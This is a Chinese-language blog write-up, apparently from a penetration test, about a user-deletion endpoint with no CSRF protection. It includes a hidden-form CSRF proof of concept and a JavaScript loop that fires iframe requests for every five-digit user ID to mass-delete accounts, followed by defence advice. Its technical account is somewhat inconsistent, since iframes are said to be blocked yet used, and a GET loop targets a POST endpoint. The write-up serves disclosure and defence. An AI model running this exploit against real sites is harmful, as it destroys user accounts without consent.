通过CSRF暴力破解用户ID实现批量删除用户攻击

本文详细描述了如何利用CSRF漏洞结合用户ID暴力破解技术,在缺乏CSRF防护的系统中实现批量删除用户账户的攻击过程,包含具体的技术实现细节和防御方案。

通过CSRF暴力破解用户ID删除所有用户

在测试某应用时发现"删除用户"模块未实施CSRF防护。攻击者只需构造恶意表单诱使管理员点击,即可任意删除用户账户。

基础CSRF攻击验证

删除请求中未包含CSRF令牌,典型PoC如下:

1
2
3
<form action="https://victim.com/delete" method="POST">
  <input type="hidden" name="userid" value="12345">
</form>

用户ID暴力破解挑战

系统使用5位数字作为用户ID,但未在任何端点泄露ID信息。受PwnDizzle的博客启发,尝试通过点击劫持暴力破解ID。

技术突破点

  1. X-Frame-Options限制:应用设置了X-Frame-Options头,阻止iframe加载
  2. Origin验证:XMLHttpRequest因服务端校验Origin头而失效
  3. 最终方案:通过iframe靶向提交请求(虽无法读取响应,但请求可成功发送)

攻击脚本实现

编写CSRF脚本自动遍历所有可能的用户ID,当管理员触发时即可删除所有现存用户:

1
2
3
4
5
6
// 示例代码:批量发送删除请求
for(let i=10000; i<=99999; i++){
  let iframe = document.createElement('iframe');
  iframe.src = `https://victim.com/delete?userid=${i}`;
  document.body.appendChild(iframe);
}

防御建议

  1. 实施CSRF令牌机制
  2. 使用随机UUID替代连续数字ID
  3. 关键操作需二次认证
  4. 设置速率限制防止暴力破解

该漏洞演示了当CSRF防护缺失时,结合其他弱点可能造成的灾难性后果。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计